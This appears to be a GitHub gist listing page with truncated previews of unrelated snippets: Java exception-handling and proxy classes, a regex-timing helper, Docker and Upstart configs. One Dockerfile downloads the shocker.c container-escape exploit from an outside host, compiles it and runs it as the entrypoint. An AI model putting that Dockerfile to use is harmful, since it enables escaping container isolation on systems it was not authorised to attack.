This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dupStr = (str, n) -> (str for _ in [1..n]).join('') | |
testRegexp = (r, str, cnt) -> | |
startTime = + new Date() | |
for _ in [1..cnt] | |
throw new Error("#{r} has matched!!") if str.match r | |
finishTime = + new Date() | |
finishTime - startTime |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Method; | |
import java.lang.reflect.Proxy; | |
import java.util.ArrayList; | |
import java.util.List; | |
public class CheckPermGenUsage { | |
interface A{} | |
interface B{} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# You may put this kind of script on /etc/init/hogedocker.conf | |
start on started "docker.io" | |
pre-start script | |
set +e | |
docker stop "hogedocker" | |
docker rm "hogedocker" | |
set -e | |
end script |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Map; | |
import java.util.HashMap; | |
import java.util.List; | |
import java.util.concurrent.ConcurrentHashMap; | |
import java.util.concurrent.ExecutorService; | |
import java.util.concurrent.Executors; | |
import java.util.concurrent.TimeUnit; | |
import java.util.stream.Collectors; | |
import java.util.stream.IntStream; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu | |
ADD http://stealth.openwall.net/xSports/shocker.c /shocker.c | |
RUN apt-get update | |
RUN apt-get install -y gcc | |
RUN gcc -Wall -std=c99 -O2 /shocker.c -static | |
ENTRYPOINT /a.out |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:latest | |
RUN apt-get update | |
RUN apt-get install -y apache2 subversion subversion-tools | |
PORT 80 | |
RUN mkdir /var/lock/apache2 | |
RUN mkdir /var/run/apache2 | |
RUN useradd apache |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package knjname; | |
import java.util.concurrent.Callable; | |
public class ConvertToNonCheckedExceptions { | |
@FunctionalInterface | |
interface ExceptionalRunnable { | |
public void run() throws Exception; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package knjname; | |
import java.io.IOException; | |
public class TransparentExceptionHandler { | |
@FunctionalInterface | |
interface ExceptionalRunnable { | |
public void run() throws Exception; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package knjname; | |
import java.io.IOException; | |
public class HierarchicalTransparentExceptionHandler { | |
@FunctionalInterface | |
interface ExceptionalRunnable { | |
public void run() throws Exception; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class A { | |
String u; | |
A(Object s){ | |
System.out.println("A.new() with " + s); | |
} | |
String p(){return "p";} | |
} |
OlderNewer